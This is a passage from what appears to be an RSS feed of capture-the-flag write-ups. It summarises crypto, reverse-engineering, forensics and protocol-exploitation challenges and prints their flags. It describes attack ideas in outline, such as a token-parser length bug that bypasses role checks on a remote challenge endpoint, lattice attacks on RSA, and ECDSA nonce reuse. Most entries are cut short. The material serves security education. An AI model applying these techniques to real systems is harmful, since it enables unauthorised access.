class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;revision&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;heartbeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;PRIMARY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The ZIP remains the unchanged evidence. All inspection uses extracted files, and SQLite opens reconstructed snapshots with &lt;code&gt;immutable=1&lt;/code&gt; so it does not process or alter the captured WAL.&lt;/p&gt;</description></item><item><title>Field Console</title><link>https://hotwater-online.xyz/writeups/isfcr/field-console/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/field-console/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reverse Engineering / Protocol Exploitation&#10;&lt;strong&gt;Artifact:&lt;/strong&gt; &lt;code&gt;field-console.apk&lt;/code&gt;&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 25228&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{f13ld_c0ns0l3_t0k3n_b1nd1ng_byp4ss}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-overview"&gt;&#10; &lt;a href="#1-overview" class="md-heading-anchor"&gt;&#10; 1. Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Field teams use the &lt;em&gt;Field Console&lt;/em&gt; handset app to talk to dispatch nodes on a&#10;depot network. Routine (operator) jobs work fine; the maintenance path is meant&#10;to be off-limits. We are given the APK and a TCP endpoint. The goal is to get the&#10;node to hand back the flag.&lt;/p&gt;&#10;&lt;p&gt;The node speaks a small custom binary token protocol called &lt;strong&gt;OSX&lt;/strong&gt;. The&#10;vulnerability is a length bug in the token parser, combined with a &lt;em&gt;staged&lt;/em&gt;&#10;misparse that lets a token be read as two different roles depending on how many&#10;times it is normalized (reparceled). This bypasses both the admission check and&#10;the &amp;quot;role drift&amp;quot; integrity check.&lt;/p&gt;</description></item><item><title>Free-lunch</title><link>https://hotwater-online.xyz/writeups/isfcr/free-lunch/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/free-lunch/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{b4ckw4rds_1s_h4lf_th3_d3gr33}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given &lt;code&gt;chall.py&lt;/code&gt; and &lt;code&gt;output.json&lt;/code&gt;. A permutation &lt;code&gt;P&lt;/code&gt; acts on &lt;code&gt;GF(p)^2&lt;/code&gt;&#10;with &lt;code&gt;p = 4611686018427387761&lt;/code&gt; (a 62-bit prime, &lt;code&gt;p % 3 == 2&lt;/code&gt;) over &lt;code&gt;R = 20&lt;/code&gt;&#10;rounds:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(x, y) &amp;lt;- (cbrt(x + y + c_i), x) i = 0 .. R-1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;cbrt(v) = v^(1/3) = v^E&lt;/code&gt; with &lt;code&gt;3E = 1 mod (p-1)&lt;/code&gt;. Since &lt;code&gt;p = 2 mod 3&lt;/code&gt;,&#10;cubing is a bijection on &lt;code&gt;GF(p)&lt;/code&gt;, so the cube root is well defined.&lt;/p&gt;</description></item><item><title>GHOST-13 offline investigation</title><link>https://hotwater-online.xyz/writeups/isfcr/ghost-13/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/ghost-13/</guid><description>&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{ghost13_dc8f84a256fa64108b6c75a151a1474d}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The solution combines commit-journal recovery, TCP and Modbus fragment reconstruction, ECDSA nonce reuse, DTMF decoding, and an authenticated OTA decryption. All work is local; no controller or external service is required.&lt;/p&gt;&#10;&lt;h2 id="files-and-reproduction"&gt;&#10; &lt;a href="#files-and-reproduction" class="md-heading-anchor"&gt;&#10; Files and reproduction&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The supplied artifacts are &lt;code&gt;plc_firmware.bin&lt;/code&gt;, &lt;code&gt;plc_program.bin&lt;/code&gt;, &lt;code&gt;plc_traffic.pcap&lt;/code&gt;, &lt;code&gt;alarm_buzzer.wav&lt;/code&gt;, &lt;code&gt;maintenance_update.ota&lt;/code&gt;, &lt;code&gt;uart_log.txt&lt;/code&gt;, and &lt;code&gt;field_service_excerpt.txt&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The accompanying &lt;span class="local-artifact" title="Local challenge artifact; not published"&gt;solve_ghost.py&lt;span class="artifact-note"&gt; (local artifact)&lt;/span&gt;&lt;/span&gt; implements the recovery. Run it from the directory containing those files, using Python 3 with &lt;code&gt;numpy&lt;/code&gt; and &lt;code&gt;cryptography&lt;/code&gt; available:&lt;/p&gt;</description></item><item><title>Hidden Weights -</title><link>https://hotwater-online.xyz/writeups/isfcr/hidden-weights-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/hidden-weights-writeup/</guid><description>&lt;h2 id="challenge-summary"&gt;&#10; &lt;a href="#challenge-summary" class="md-heading-anchor"&gt;&#10; Challenge summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge chooses ten secret weights &lt;code&gt;a_1, ..., a_10&lt;/code&gt; modulo a&#10;200-bit prime &lt;code&gt;M&lt;/code&gt;, then publishes 50 totals:&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;h_j = sum(a_i * x[i,j]) mod M&lt;/code&gt;, where every &lt;code&gt;x[i,j]&lt;/code&gt; is either 0 or 1.&lt;/p&gt;&#10;&lt;p&gt;The weights and subset-selection bits are both secret. The output also&#10;contains an AES-GCM-encrypted flag. The key is:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="python"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;python&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;,&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;weights&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="attack-idea"&gt;&#10; &lt;a href="#attack-idea" class="md-heading-anchor"&gt;&#10; Attack idea&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Each published value is a subset sum of the same ten weights.&#10;Consequently, the 50 totals are not independent random values: they are&#10;points drawn from a ten-dimensional subset-sum cube.&lt;/p&gt;</description></item><item><title>Implicit Twins — RSA Lattice Attack</title><link>https://hotwater-online.xyz/writeups/isfcr/implicit-twins-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/implicit-twins-writeup/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;Two 1280-bit RSA keys, separated at birth. Neither of them will talk&#10;alone.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;The challenge provides two RSA moduli, &lt;code&gt;N1&lt;/code&gt; and &lt;code&gt;N2&lt;/code&gt;, a public exponent&#10;&lt;code&gt;e = 65537&lt;/code&gt;, and a ciphertext &lt;code&gt;ct&lt;/code&gt;. The flag is textbook RSA-encrypted&#10;under &lt;code&gt;N1&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The source code reveals the weakness:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;N1 = p1 * q1&lt;/code&gt; and &lt;code&gt;N2 = p2 * q2&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Each &lt;code&gt;p&lt;/code&gt; is 1024 bits and each &lt;code&gt;q&lt;/code&gt; is 256 bits.&lt;/li&gt;&#10;&lt;li&gt;The two &lt;code&gt;p&lt;/code&gt; primes share their lowest &lt;strong&gt;530 bits&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;The ciphertext is &lt;code&gt;pow(flag_as_integer, e, N1)&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The shared low bits are the key to recovering the factors.&lt;/p&gt;</description></item><item><title>Journal-necromancy</title><link>https://hotwater-online.xyz/writeups/isfcr/journal-necromancy-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/journal-necromancy-writeup/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics (NTFS)&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{mft_slack_dies_but_data_clusters_remember_1a2f}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;An engineer wiped their tracks before a seized workstation was handed back, but a small partition got imaged first. On that image is an encrypted archive we think holds what they took, and the key that opens it was deliberately destroyed before the machine was seized.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;Given: a single 64 MiB NTFS raw image, &lt;code&gt;evidence.img&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The vault key is split into three XOR shares. Each share was hidden as a small tagged record (&lt;code&gt;de ad 53 47 | idx | share | parity&lt;/code&gt;) in the slack at the tail of decoy data blocks. Searching the raw image for that marker finds all three. XOR the shares to get the AES-256-GCM key, then decrypt &lt;code&gt;secure_archive.enc&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>leaky-eval — HTB Crypto Challenge</title><link>https://hotwater-online.xyz/writeups/isfcr/leaky-eval-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/leaky-eval-writeup/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{n3g4cycl1c_n01s3_l34k}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge provides &lt;code&gt;chall.py&lt;/code&gt; and &lt;code&gt;output.json&lt;/code&gt;. The service uses a polynomial ring&lt;/p&gt;&#10;\[&#10;R_Q = \mathbb{Z}_Q[X]/(X^N+1)&#10;\]&lt;p&gt;with:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;\(N=64\)&lt;/li&gt;&#10;&lt;li&gt;\(Q=2^{61}-1\), a prime&lt;/li&gt;&#10;&lt;li&gt;secret coefficients \(s_i \in \{-1,0,1\}\)&lt;/li&gt;&#10;&lt;li&gt;noise coefficients bounded by \(2^{20}\)&lt;/li&gt;&#10;&lt;li&gt;72 samples&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;For each sample, the plaintext is zero and the ciphertext is generated as&lt;/p&gt;&#10;\[&#10;b = a \cdot s + e \pmod Q.&#10;\]&lt;p&gt;The output includes &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, an index &lt;code&gt;idx&lt;/code&gt;, and &lt;code&gt;leak&lt;/code&gt;, where &lt;code&gt;leak&lt;/code&gt; is the noise coefficient \(e_{\text{idx}}\) reduced modulo \(Q\). The same output also contains an AES-GCM encrypted flag.&lt;/p&gt;</description></item><item><title>Leger</title><link>https://hotwater-online.xyz/writeups/isfcr/the-ledger/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-ledger/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reverse Engineering&#10;&lt;strong&gt;Goal:&lt;/strong&gt; recover the 16-byte input that makes the binary print &lt;code&gt;CORRECT&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{lll_dense}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Verified:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ printf &amp;#39;isfcr{lll_dense}&amp;#39; | ./chall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORRECT -- the flag is the input you just gave me.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;chall&lt;/code&gt; is a stripped 64-bit ELF that reads &lt;strong&gt;exactly 16 bytes&lt;/strong&gt; of input and&#10;prints &lt;code&gt;CORRECT&lt;/code&gt; iff the input satisfies a very specific arithmetic condition.&#10;At a high level the check is a &lt;strong&gt;256-bit subset-sum (knapsack) problem&lt;/strong&gt; over&#10;128 numbers: the 16 input bytes are interpreted as a 128-bit vector of choices,&#10;each set bit selects one 256-bit weight, and the sum of all selected weights&#10;must equal a fixed target constant. The instance is dense and the weights are&#10;full 256-bit numbers, so the intended solve is a &lt;strong&gt;lattice reduction&#10;(LLL/BKZ)&lt;/strong&gt; attack, which is also where the flag text comes from (&lt;code&gt;lll_dense&lt;/code&gt;).&lt;/p&gt;</description></item><item><title>loom — Reversible Cellular Automaton Crackme</title><link>https://hotwater-online.xyz/writeups/isfcr/loom/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/loom/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{2nd_0rd3r_r3v_c3ll_aut0m8}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;loom&lt;/code&gt; is a stripped x86-64 ELF that reads exactly 32 bytes from stdin,&#10;runs them through roughly a million generations of a &lt;strong&gt;second-order&#10;(reversible) cellular automaton&lt;/strong&gt;, and compares the output of that&#10;simulation against two hard-coded targets. If both match, it prints the&#10;success message and tells you the flag is literally the input you gave&#10;it.&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file loom&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;loom: ELF 64-bit LSB executable, x86-64, ... stripped&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ strings loom&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;need exactly %d bytes of input&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORRECT -- the flag is the input you just gave me.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nope.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="reverse-engineering-the-logic"&gt;&#10; &lt;a href="#reverse-engineering-the-logic" class="md-heading-anchor"&gt;&#10; Reverse engineering the logic&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;h3 id="input-handling"&gt;&#10; &lt;a href="#input-handling" class="md-heading-anchor"&gt;&#10; Input handling&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="mb-codeblock" data-lang="c"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;c&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// must read exactly 32 bytes&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;need exactly %d bytes of input&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id="unpacking-into-a-bit-array"&gt;&#10; &lt;a href="#unpacking-into-a-bit-array" class="md-heading-anchor"&gt;&#10; Unpacking into a bit array&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;The 32-byte input is expanded into a 256-element byte array where each&#10;element holds a single bit (0 or 1), LSB-first:&lt;/p&gt;</description></item><item><title>Palimpsest — Restoration Press 04</title><link>https://hotwater-online.xyz/writeups/isfcr/palimpsest/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/palimpsest/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{p4p3r_r3m3mb3rs_wh4t_1nk_f0rg3ts}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Binary:&lt;/strong&gt; &lt;code&gt;palimpsest&lt;/code&gt; — ELF64, x86-64, statically linked, stripped.&lt;/p&gt;&#10;&lt;p&gt;Accepted input is a 39-byte string &lt;code&gt;isfcr{&lt;/code&gt; + 32 inner bytes + &lt;code&gt;}&lt;/code&gt;. The 32 inner&#10;bytes are mapped little-endian into eight 32-bit registers, which are then run&#10;through a 160-round bytecode VM. The binary prints&#10;&lt;code&gt;Seal accepted. Job 04 restored.&lt;/code&gt; only when the final machine state equals a&#10;hard-coded target.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Running the binary with &lt;code&gt;?&lt;/code&gt; prints the archive catalogue. The live prompt also&#10;prints all the surviving job cards:&lt;/p&gt;</description></item><item><title>Parallax</title><link>https://hotwater-online.xyz/writeups/isfcr/parallax/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/parallax/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{sh0rt_sh4d0ws_r3v34l_d3pth42}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The challenge provides &lt;code&gt;model (1).py&lt;/code&gt; and &lt;code&gt;observations (1).json&lt;/code&gt;. The forty silhouettes are modular subset sums of fourteen hidden atoms. Recovering the binary subset mask reveals the atoms; short relations between the public quadratic coefficients then turn the nonlinear problem into a noisy linear system.&lt;/p&gt;&#10;&lt;h2 id="1-understand-the-model"&gt;&#10; &lt;a href="#1-understand-the-model" class="md-heading-anchor"&gt;&#10; 1. Understand the model&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Let &lt;code&gt;p&lt;/code&gt; be the public prime, &lt;code&gt;M&lt;/code&gt; the unknown 40-by-14 binary mask, and &lt;code&gt;a&lt;/code&gt; the fourteen atoms. The observations satisfy&lt;/p&gt;</description></item><item><title>Prismwake</title><link>https://hotwater-online.xyz/writeups/isfcr/prismwake-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/prismwake-writeup/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; 